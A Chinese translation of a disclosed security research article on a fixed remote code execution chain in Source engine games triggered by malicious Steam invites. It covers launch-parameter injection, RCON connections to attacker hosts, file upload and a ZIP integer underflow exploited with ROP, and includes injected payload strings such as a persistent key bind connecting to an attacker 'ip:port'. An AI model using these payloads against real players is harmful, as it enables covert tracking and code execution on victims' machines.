目前,Steam已经成为世界上最流行的PC游戏平台。利用该平台内置的朋友和聚会系统,人们可以邀请自己的朋友一起玩视频游戏,因此,如果说大多数用户都曾经接受过这方面的邀请一点也不为过。那么,这其中真的毫无安全隐患吗?
在这篇文章中,我们将探讨攻击者是如何组合利用Steamworks API与Source引擎的各种功能和属性,并通过恶意的Steam游戏邀请来实现远程代码执行(RCE)攻击的。
为什么游戏邀请函能做的事情比你想象的要多得多?
Steamworks API允许游戏开发者通过一组不同的接口从他们的游戏中访问Steam平台提供的各种功能。例如,ISteamFriends接口实现了InviteUserToGame和ReplyToFriendMessage等功能,正如其名称所示,这些功能可以让您与自己的朋友互动:邀请他们到你的游戏中,或者只是给他们发送一条短信。这看起来并不会带来什么安全隐患,不是吗?
当我们考察InviteUserToGame是如何让朋友进入您当前的游戏/大厅时,事情就变得很有趣起来了。下面展示的是这个函数的原型和官方文档中的描述节选:
bool InviteUserToGame( CSteamID steamIDFriend, const char *pchConnectString );
“如果目标用户接受了邀请,那么在启动游戏时,pchConnectString会被添加到命令行中。如果游戏已经为该用户运行,那么他们将收到一个带有连接字符串的GameRichPresenceJoinRequested_t回调。”
简单来说,这意味着,如果您的朋友还没有启动游戏,您就可以为游戏进程指定额外的启动参数,并且这些参数将被附加在命令行的末尾。对于常规的邀请,例如CS:GO,启动参数+connect_lobby和您的64位大厅ID将一起附加到命令行的末尾。之后,这个命令将被您的游戏控制台所执行,并最终将您带入指定的大厅。但是,现在问题在哪里呢?
在Source引擎游戏的启动参数中指定控制台命令时,并没有对您施加任何限制。也就是说,您可以任意地执行自己选择的任何游戏命令。在这里,您现在可以自由发挥自己的创造力;您可以在用户界面中配置的一切,以及其他的东西,一般都可以用控制台命令来进行调整。实际上,您还可以藉此做一些更加有趣的事情,比如篡改他人的游戏语言、灵敏度、分辨率,以及您能想到的与设置有关的一切。在我看来,这已经是一个不小的问题的了,尽管这些只是在恶搞。
使用控制台命令来建立RCON连接
很多Source的游戏都带有被称为Source RCON协议的东西。简而言之,这个协议使服务器所有者能够在他们的游戏服务器中执行控制台命令,就像您通常在游戏客户端配置东西一样。它的工作原理是在执行任何控制台命令前加上rcon的前缀。为了做到这一点,需要事先使用rcon_address和rcon_password命令连接并通过游戏服务器的身份验证。我想,您可能已经猜到这是怎么回事了……攻击者可以执行InviteUserToGame函数,并把第二个参数设置为“+rcon_address yourip:yourport +rcon”。一旦受害者接受了邀请,游戏就会启动并尝试连接回指定的地址,并且不会收到任何通知。请注意,附加+rcon是必需的,因为在尝试与服务器实际通信之前,客户端不会启动连接。所有这些都已经非常令人担忧了,因为这种邀请本身就会将受害者的IP地址泄露给攻击。
滥用RCON连接
通过进一步研究Source引擎如何在客户端实现RCON,可以挖掘其全部潜力。在CRConClient::ParseReceivedData中,我们可以看到客户端如何对来自服务器的不同类型的RCON数据包做出反应。在本文中,我们只考察了以下三种类型的数据包:SERVERDATA_RESPONSE_STRING、SERVERDATA_SCREENSHOT_RESPONSE和 SERVERDATA_CONSOLE_LOG_RESPONSE。下图展示了RCON数据包的布局情况,其中数据包传递的内容以Body成员开始,通常以Empty String字段为NULL结尾。
现在,从第一种类型开始,只要RCON连接保持打开状态,就允许托管恶意RCON服务器的攻击者将任意字符串打印到连接的受害者的游戏控制台。当然,这与最终的RCE攻击并没有关系,但由于太有趣了,我还是忍不住提示一下。下面给出一个具体的例子,当人们看到自己的控制台弹出这些内容时,肯定会大吃一惊。
下面,让我们进入激动人心的部分。为了简化问题,我们将只解释客户端如何处理SERVERDATA_SCREENSHOT_RESPONSE数据包,因为对于SERVERDATA_CONSOLE_LOG_RESPONSE数据包,所需的代码几乎完全相同。最终,客户端会将其收到的数据包视为一个ZIP文件,并试图在里面找到一个名称为screenshot.jpg的文件。然后,这个文件被解压到CS:GO的根安装文件夹中。不幸的是,我们不仅无法控制屏幕截图在磁盘上保存的名称,也无法控制文件的扩展名。通常来说,屏幕截图总是被保存为screenshotXXXX.jpg,其中XXXX代表从0000开始的4位数组成的后缀,只要已经存在具有该名称的文件,该数字就会递增。
void CRConClient::SaveRemoteScreenshot( const void* pBuffer, int nBufLen ) { char pScreenshotPath[MAX_PATH]; do { Q_snprintf( pScreenshotPath, sizeof( pScreenshotPath ), "%s/screenshot%04d.jpg", m_RemoteFileDir.Get(), m_nScreenShotIndex++ ); } while ( g_pFullFileSystem->FileExists( pScreenshotPath, "MOD" ) ); char pFullPath[MAX_PATH]; GetModSubdirectory( pScreenshotPath, pFullPath, sizeof(pFullPath) ); HZIP hZip = OpenZip( (void*)pBuffer, nBufLen, ZIP_MEMORY ); int nIndex; ZIPENTRY zipInfo; FindZipItem( hZip, "screenshot.jpg", true, &nIndex, &zipInfo ); if ( nIndex >= 0 ) { UnzipItem( hZip, nIndex, pFullPath, 0, ZIP_FILENAME ); } CloseZip( hZip ); }
请注意,攻击者可以直接发送这类RCON数据包,而不需要客户端事先请求此类数据。目前,如果受害者接受了游戏邀请,攻击者就可以上传任意的文件。到目前为止,还没有涉及内存破坏漏洞。
FindZipItem的整数下溢导致远程代码执行
我们知道,OpenZip、FindZipItem、UnzipItem和CloseZip这些函数都属于一个叫做XZip/XUnzip的库。同时,RCON处理程序会使用这个库,早期版本可以追溯到2003年。虽然我们在这个库的代码实现中发现了多个缺陷,但这里只介绍与实现代码执行的安全漏洞。
当CRConClient::SaveRemoteScreenshot调用FindZipItem来检索存档中的screenshot.jpg文件的信息时,就会调用TUnzip::Get函数。在TUnzip::Get函数中,会根据相应的ZIP文件格式来解析文档,包括处理所谓的中央目录文件头。
int unzlocal_GetCurrentFileInfoInternal (unzFile file, unz_file_info *pfile_info, unz_file_info_internal *pfile_info_internal, char *szFileName, uLong fileNameBufferSize, void *extraField, uLong extraFieldBufferSize, char *szComment, uLong commentBufferSize) { // ... s=(unz_s*)file; // ... if (unzlocal_getLong(s->file,&file_info_internal.offset_curfile) != UNZ_OK) err=UNZ_ERRNO; // ... }
在上面的代码中,位于中央目录文件头中的本地文件头的相对偏移量被读入file_info_internal.offset_curfile,以定位压缩文件在存档中的实际位置,这将在后面发挥非常关键的作用。
在TUnzip::Get中的某个地方,会一个名为unzlocal_CheckCurrentFileCoherencyHeader的函数被调用。在这个函数中,会对先前提到的本地文件头进行相应的处理,为此,需要向其传递之前检索到的偏移量,具体代码如下所示:
int unzlocal_CheckCurrentFileCoherencyHeader (unz_s *s,uInt *piSizeVar, uLong *poffset_local_extrafield, uInt *psize_local_extrafield) { // ... if (lufseek(s->file,s->cur_file_info_internal.offset_curfile + s->byte_before_the_zipfile,SEEK_SET)!=0) return UNZ_ERRNO; if (err==UNZ_OK) if (unzlocal_getLong(s->file,&uMagic) != UNZ_OK) err=UNZ_ERRNO; // ... }
首先,会调用lufseek函数,以便将内部文件指针设置为指向存档中的本地文件头(这里可以假设在存档前面没有额外的字节)。
从这个假设可以得出s->byte_before_the_zipfile的值为0。
这与C语言标准库中处理文件的方式非常相似。在我们的具体案例中,RCON处理程序用ZIP_MEMORY标志打开了ZIP存档,因此该存档基本上可以看作是内存中的一个字节块。因此,对lufseek的调用只是更新了文件对象中的一个成员而已。
int lufseek(LUFILE *stream, long offset, int whence) { // ... else { if (whence==SEEK_SET) stream->pos=offset; else if (whence==SEEK_CUR) stream->pos+=offset; else if (whence==SEEK_END) stream->pos=stream->len+offset; return 0; } }
一旦lufseek函数返回,另一个名为unzlocal_getLong的函数就会被调用,以读出识别本地文件头的魔术字节。在内部,这个函数会调用四次unzlocal_getByte函数,以读出long值的各个字节。之后,unzlocal_getByte函数将调用lufread,直接从文件流中读取相关数据。
int unzlocal_getLong(LUFILE *fin,uLong *pX) { uLong x ; int i = 0; int err; err = unzlocal_getByte(fin,&i); x = (uLong)i; if (err==UNZ_OK) err = unzlocal_getByte(fin,&i); x += ((uLong)i) stream->len) toread = stream->len-stream->pos; memcpy(ptr, (char*)stream->buf + stream->pos, toread); DWORD red = toread; stream->pos += red; return red/size; }
假设攻击者可以通过修改中央目录结构中的相应字段来随意控制s->cur_file_info_internal.offset_curfile,那么他们就可以在第一次调用lufread时立即拿下堆栈。如果将本地文件头偏移量设置为0xFFFFFFFFFE,这一系列操作最终将导致代码执行。
首先,在unzlocal_CheckCurrentFileCoherencyHeader中调用lufseek时,会把文件流的pos成员设置为0xFFFFFFFFE。当第一次调用unzlocal_getLong时,也会调用unzlocal_getByte。然后,lufread会尝试从文件流中读取单个字节。这时,lufread函数中用于确定要读取的内存量的变量toread的值将等于1,因此,条件表达式if(stream->pos+toread>stream->len)(无符号比较)的值将变为true。所以,stream->pos+toread的计算结果为0xFFFFFFFFE+1=0xFFFFFFFFFFF,因此,这就可能大于stream->len中存储的存档的总长度。接下来,使用stream->len-stream->pos更新toread变量,该变量的值的计算方法为stream->len-0xffffffffe。由于上述计算会导致下溢,所以实际的计算结果为stream->len+2。请注意,在对memcpy函数的调用中,源参数的计算是如何同时溢出的。最后,对memcpy的调用等价于以下代码:
memcpy(ptr, (char*)stream->buf - 2, stream->len + 2);
由于ptr指向unzlocal_getByte的一个局部变量,而这个变量的长度只有一个字节,这就立即将堆栈破坏掉了。
此外,unzlocal_getByte函数将会调用lufread(&c, 1, 1, fin)函数,其中,c是一个无符号字符。
幸运的是,memcpy调用会将整个存档以blob的方式写入堆栈,使得我们也能控制被写入的内容。
好了,接下来我们要做的事情,就是简单地构建一个ZIP档案,将本地文件头的偏移量设置为0xFFFFFFFE,其他内容主要由ROP Gadget组成。为此,我们需要用一个合法的存档,其中可以包含一个单一的屏幕截图文件。然后,我们继续破坏上述的偏移量,并根据故障的EIP值观察ROP Gadget的位置。对于ROP链本身,我们利用了这样一个事实:加载到游戏中的一个名为xinput1_3.dll的DLL已经禁用了ASLR。也就是说,它的基地址可以轻松猜到。只有当它的地址已经被另一个DLL占用时,这种利用方法才会失败。我们粗率估计,这种利用方法的成功概率约为80%。关于这个问题的更多细节,请随时查阅本文后面给出的PoC链接。
实现RCE
有趣的是,到最后,您可以再次看到这个exploit是如何利用启动参数注入和RCON功能的。
首先,显而易见的事实是,前面讨论过的任意文件上传都可以极大地帮助该exploit发挥最大效用。在这里,用一个shellcode就能搞定一切:无论您是要运行计算器还是以前上传的恶意二进制文件,都不是个事:只要在这个exploit的shellcode中修改单个字符串就搞定了。此外,无论二进制文件是否已保存为.png扩展名,也都是无关紧要的。
最后,我们还可以做一些改进,以使这个exploit变得更加强大。但是,我们无论如何也无法改变这样一个事实,即基地址不是很稳定,所以,如果运气不好的话,有时会失败。但是,既便如此那又如何?我们可以多试几次呀!
此外,利用Source引擎附带的控制台命令host_writeconfig,我们可以将当前游戏配置写到磁盘上的config文件中。显然,我们也可以通过游戏邀请来注入该命令。但是,在此之前,我们还能够借助bind配置玩家经常按下的任何键,以便使其从一开始就执行RCON连接命令。当然,让按键保持原始功能也有其优势,那就是能够提高攻击的隐蔽性。一旦配置了这样的按键,就可以将设置写到磁盘上,以使相关修改持久化。这是一个示例,演示了如何在每次按下Tab键时将其功能配置为启动传出的RCON连接。
+bind "tab" "+showscores;rcon_address ip:port;rcon" +host_writeconfig
现在,只要受害者接受一个邀请后,您就可以在受害者查看计分板时对其发动相应的远程攻击。
此外,最好绑定+ showscores,因为这样的话,选项卡将一直显示计分板。
时间线
[2019-06-05] 在HackerOne平台上向Valve提交漏洞报告。
[2019-09-14] 漏洞被分类。
[2020-10-23] 收到赏金(8000美元),并被告知已经在《团队堡垒2》中部署了初步的修复方案。
[2021-04-17] 正式修复。
小结
PoC代码可以在本人的GitHub页面上找到。另外,Valve给出的漏洞严重度等级为9.0(严重)。
目前,该漏洞已经得到了相应的修复,所以,上面的PoC已经无法正常发动攻击。首先,Valve团队已经删除了违规的RCON命令处理程序,使得解压缩代码中的任意文件上载和代码执行功能都被禁用。另外,至少对于CS:GO来说,Valve似乎已经采用了GetLaunchCommandLine,而不再是OS命令行。然而,在CS:S(也许还有其他游戏)中,操作系统命令行仍在沿用。但是,目前至少会显示一个警告,指出启动游戏时要使用的相关参数。下图展示了在接受重新绑定按键并同时建立RCON连接的invite时,相关警告所给出的具体信息:
请注意,如果您在这里点击Ok按钮,就或多或少地同意安装一个永久性的IP记录程序。
最后,我想说句题外话。就个人而言,有必要对Valve和他们的Bug赏金计划唠叨几句。总而言之,在这个安全漏洞的披露过程中,人们对于Valve团队面对安全漏洞时的反应迟钝感到非常震惊。当然,我从来不想只把矛头指向Valve,否则的话,那只是在抱怨自己的经历而已;我真正想做的,时通过长期的努力,来真正改变一些东西。此外,其他研究人员在寻找安全漏洞时所付出的和将要付出的汗水,也绝不应该白流。希望将来事情会有所改善,这样我们就可以愉快地与Valve再次合作,以提高他们游戏的安全性了。
本文翻译自:https://secret.club/2021/04/20/source-engine-rce-invite.html#fnref:1如若转载,请注明原文地址